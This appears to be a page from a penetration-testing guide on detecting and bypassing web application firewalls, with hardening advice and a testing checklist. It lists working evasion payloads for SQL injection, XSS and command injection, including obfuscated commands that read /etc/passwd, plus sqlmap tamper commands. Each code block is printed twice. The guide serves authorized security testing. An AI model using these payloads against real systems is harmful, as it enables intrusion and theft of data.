Exploitation A05

WAF Bypass Techniques

Web Application Firewalls (WAFs) are a common defense layer, but they can be bypassed. Understanding bypass techniques helps assess whether the WAF actually provides effective protection.

Scope Reminder

WAF bypass testing should be explicitly included in the engagement scope. Some clients want to test their WAF's effectiveness; others want you to test the application with the WAF disabled. Clarify this during pre-engagement.

WAF Detection & Fingerprinting

bash
# wafw00f - WAF fingerprinting tool
pip install wafw00f
wafw00f https://target.com

# Nmap WAF detection scripts
nmap --script=http-waf-detect,http-waf-fingerprint target.com

# Manual indicators:
# - Custom error pages on blocked requests
# - Specific response headers (X-Sucuri-ID, X-CDN, cf-ray)
# - Connection dropped on suspicious payloads
# - JavaScript challenges or CAPTCHAs
# - HTTP 403/406/429 on injection attempts

# Test with a simple payload:
curl -v "https://target.com/search?q=<script>alert(1)</script>"
# If blocked → WAF likely present
# wafw00f - WAF fingerprinting tool
pip install wafw00f
wafw00f https://target.com

# Nmap WAF detection scripts
nmap --script=http-waf-detect,http-waf-fingerprint target.com

# Manual indicators:
# - Custom error pages on blocked requests
# - Specific response headers (X-Sucuri-ID, X-CDN, cf-ray)
# - Connection dropped on suspicious payloads
# - JavaScript challenges or CAPTCHAs
# - HTTP 403/406/429 on injection attempts

# Test with a simple payload:
curl -v "https://target.com/search?q=<script>alert(1)</script>"
# If blocked → WAF likely present
WAF Detection Header/Indicator Bypass Difficulty
Cloudflare cf-ray, server: cloudflare Medium-Hard
AWS WAF x-amzn-requestid, 403 body patterns Medium
Akamai AkamaiGHost, reference ID in error Hard
ModSecurity Apache/Nginx default 403, paranoia levels Medium (depends on ruleset)
Sucuri X-Sucuri-ID, custom block page Medium
Imperva/Incapsula X-CDN, incap_ses_ cookies Hard

SQL Injection WAF Bypass

bash
# Encoding bypasses
# URL encoding
1%27%20OR%20%271%27%3D%271
# Double URL encoding
1%2527%2520OR%2520%25271%2527%253D%25271
# Unicode/UTF-8 encoding
1%C0%A7%20OR%20%C0%A71%C0%A7%3D%C0%A71

# Comment-based bypasses
1'/**/OR/**/1=1--
1'/*!50000OR*/1=1--          # MySQL version-specific comments
1'||/**/1=1--

# Case manipulation
1' oR 1=1--
1' Or 1=1--

# Whitespace alternatives
1'%09OR%091=1--              # Tab
1'%0AOR%0A1=1--              # Newline
1'%0COR%0C1=1--              # Form feed
1'%A0OR%A01=1--              # Non-breaking space

# Keyword alternatives
1' || 1=1--                   # OR → ||
1' && 1=1--                   # AND → &&
1' DIV 1--                    # Alternative operators

# SQLMap tamper scripts
sqlmap -u "https://target.com/?id=1" --tamper=between,randomcase,space2comment
sqlmap -u "https://target.com/?id=1" --tamper=charencode,chardoubleencode
sqlmap -u "https://target.com/?id=1" --tamper=equaltolike,greatest

# Common tamper scripts:
# space2comment  - Replace spaces with /**/
# between        - Replace > with BETWEEN
# randomcase     - Random capitalization
# charencode     - URL-encode characters
# equaltolike    - Replace = with LIKE
# Encoding bypasses
# URL encoding
1%27%20OR%20%271%27%3D%271
# Double URL encoding
1%2527%2520OR%2520%25271%2527%253D%25271
# Unicode/UTF-8 encoding
1%C0%A7%20OR%20%C0%A71%C0%A7%3D%C0%A71

# Comment-based bypasses
1'/**/OR/**/1=1--
1'/*!50000OR*/1=1--          # MySQL version-specific comments
1'||/**/1=1--

# Case manipulation
1' oR 1=1--
1' Or 1=1--

# Whitespace alternatives
1'%09OR%091=1--              # Tab
1'%0AOR%0A1=1--              # Newline
1'%0COR%0C1=1--              # Form feed
1'%A0OR%A01=1--              # Non-breaking space

# Keyword alternatives
1' || 1=1--                   # OR → ||
1' && 1=1--                   # AND → &&
1' DIV 1--                    # Alternative operators

# SQLMap tamper scripts
sqlmap -u "https://target.com/?id=1" --tamper=between,randomcase,space2comment
sqlmap -u "https://target.com/?id=1" --tamper=charencode,chardoubleencode
sqlmap -u "https://target.com/?id=1" --tamper=equaltolike,greatest

# Common tamper scripts:
# space2comment  - Replace spaces with /**/
# between        - Replace > with BETWEEN
# randomcase     - Random capitalization
# charencode     - URL-encode characters
# equaltolike    - Replace = with LIKE

XSS WAF Bypass

html
# Event handler alternatives (when <script> is blocked)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>

# Case and encoding tricks
<ScRiPt>alert(1)</ScRiPt>
<script>alert\u00281)</script>
<script>al\u0065rt(1)</script>
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;1&#41;">

# Tag and attribute obfuscation
<scr<script>ipt>alert(1)</scr</script>ipt>
<img/src=x/onerror=alert(1)>
<img src=x onerror = alert(1) >

# JavaScript protocol bypasses
<a href="javascript:alert(1)">click</a>
<a href="&#106;avascript:alert(1)">click</a>
<a href="&#x6A;avascript:alert(1)">click</a>

# Template literal / backtick payloads
<script>alert`1`</script>
<img src=x onerror=alert`1`>

# Bypassing keyword filters
<script>window['al'+'ert'](1)</script>
<script>self[atob('YWxlcnQ=')](1)</script>
<script>top[/al/.source+/ert/.source](1)</script>
# Event handler alternatives (when <script> is blocked)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>

# Case and encoding tricks
<ScRiPt>alert(1)</ScRiPt>
<script>alert\u00281)</script>
<script>al\u0065rt(1)</script>
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;1&#41;">

# Tag and attribute obfuscation
<scr<script>ipt>alert(1)</scr</script>ipt>
<img/src=x/onerror=alert(1)>
<img src=x onerror = alert(1) >

# JavaScript protocol bypasses
<a href="javascript:alert(1)">click</a>
<a href="&#106;avascript:alert(1)">click</a>
<a href="&#x6A;avascript:alert(1)">click</a>

# Template literal / backtick payloads
<script>alert`1`</script>
<img src=x onerror=alert`1`>

# Bypassing keyword filters
<script>window['al'+'ert'](1)</script>
<script>self[atob('YWxlcnQ=')](1)</script>
<script>top[/al/.source+/ert/.source](1)</script>

Command Injection WAF Bypass

bash
# Space bypass alternatives
cat</etc/passwd
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat%09/etc/passwd

# Keyword bypass
c'a't /etc/passwd
c"a"t /etc/passwd
c\at /etc/passwd
/???/??t /???/p??s??        # Glob patterns
$(printf '\x63\x61\x74') /etc/passwd   # Hex encoding

# Variable-based bypass
a]cat;b]=/etc/passwd;$a $b
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)   # Base64

# Newline/separator bypass
;cat /etc/passwd
|cat /etc/passwd
`cat /etc/passwd`
$(cat /etc/passwd)
%0acat /etc/passwd          # Newline
%0dcat /etc/passwd          # Carriage return
# Space bypass alternatives
cat</etc/passwd
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat%09/etc/passwd

# Keyword bypass
c'a't /etc/passwd
c"a"t /etc/passwd
c\at /etc/passwd
/???/??t /???/p??s??        # Glob patterns
$(printf '\x63\x61\x74') /etc/passwd   # Hex encoding

# Variable-based bypass
a]cat;b]=/etc/passwd;$a $b
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)   # Base64

# Newline/separator bypass
;cat /etc/passwd
|cat /etc/passwd
`cat /etc/passwd`
$(cat /etc/passwd)
%0acat /etc/passwd          # Newline
%0dcat /etc/passwd          # Carriage return

General WAF Bypass Techniques

HTTP Method Switching

  • • Change GET to POST or vice versa
  • • Use PUT, PATCH, or DELETE methods
  • • Try method override headers (X-HTTP-Method-Override)

Content-Type Manipulation

  • • Switch between application/json and form data
  • • Use multipart/form-data with payloads in file fields
  • • Try text/xml or application/xml

Request Splitting & Chunking

  • • Split payload across multiple parameters
  • • Use chunked Transfer-Encoding
  • • Abuse parameter pollution (HPP)

Origin-Based Bypass

  • • Find the origin IP behind the WAF/CDN
  • • Check DNS history, email headers, SSL certs
  • • Access the server directly, bypassing the WAF entirely
bash
# Finding origin IP behind CDN/WAF
# DNS history
dig +short target.com @8.8.8.8
# Check historical DNS records at: securitytrails.com, viewdns.info

# Certificate search (may reveal origin IP)
echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alternative"

# Shodan/Censys search for SSL cert hash
shodan search ssl.cert.subject.CN:target.com

# Send requests directly to origin IP with Host header
curl -H "Host: target.com" https://ORIGIN_IP/vulnerable?id=1' OR 1=1--
# Finding origin IP behind CDN/WAF
# DNS history
dig +short target.com @8.8.8.8
# Check historical DNS records at: securitytrails.com, viewdns.info

# Certificate search (may reveal origin IP)
echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alternative"

# Shodan/Censys search for SSL cert hash
shodan search ssl.cert.subject.CN:target.com

# Send requests directly to origin IP with Host header
curl -H "Host: target.com" https://ORIGIN_IP/vulnerable?id=1' OR 1=1--

🛡️ Defense & WAF Hardening

WAF Best Practices

Configuration

  • • WAFs are defense-in-depth, not a replacement for secure code
  • • Use positive security models (allowlist) over negative (blocklist)
  • • Normalize/decode input before rule evaluation
  • • Enable recursive decoding (multi-pass normalization)

Architecture

  • • Restrict origin server to only accept traffic from WAF IPs
  • • Don't expose origin IP in DNS, emails, or error messages
  • • Keep WAF rules and signatures up to date
  • • Test WAF bypass regularly as part of security assessments

CWE References: CWE-693 (Protection Mechanism Failure)

✅ WAF Bypass Checklist

Detection
  • ☐ WAF identified & fingerprinted
  • ☐ Block patterns documented
  • ☐ Origin IP search performed
  • ☐ Rate limiting behavior noted
Encoding Bypasses
  • ☐ URL encoding (single/double)
  • ☐ Unicode / UTF-8 encoding
  • ☐ HTML entity encoding
  • ☐ Base64 / hex encoding
Request Manipulation
  • ☐ HTTP method switching
  • ☐ Content-Type manipulation
  • ☐ Parameter pollution
  • ☐ Chunked encoding bypass

Evidence Collection

Bypass Payload: Document the exact payload that bypassed the WAF alongside the blocked version — show the WAF's block response for the original and successful pass-through for the evasion.

Encoding Variants: Record which encoding techniques (double URL encoding, Unicode normalization, HTML entities, mixed case) successfully evaded detection rules.

Rule Gap Documentation: Identify the specific WAF rule or category being bypassed — cross-reference with the WAF vendor's ruleset documentation to demonstrate the coverage gap.

Protocol-Level Bypass: If the bypass uses HTTP/2 binary framing, chunked encoding, or content-type switching, capture the raw request showing the protocol-level evasion technique.

CVSS Range: WAF bypass is not independently scored — the CVSS reflects the underlying vulnerability (e.g., SQLi, XSS) with a note that WAF was the sole mitigation control.

False Positive Identification

  • WAF is Not a Fix: Bypassing a WAF doesn't create a new vulnerability — it demonstrates that the WAF is an insufficient sole mitigation. The underlying vulnerability must exist independently.
  • Different WAF Mode: Some WAFs run in detection/logging mode rather than blocking — confirm the WAF is in enforce mode before claiming a bypass.
  • Allowlisted Source: Testing from an IP or user agent on the WAF allowlist may produce apparent bypasses that don't work from external attacker positions.
  • Backend Validation Present: If the application has proper input validation independent of the WAF, a WAF bypass alone has no exploitable impact — verify the vulnerability exists at the application layer.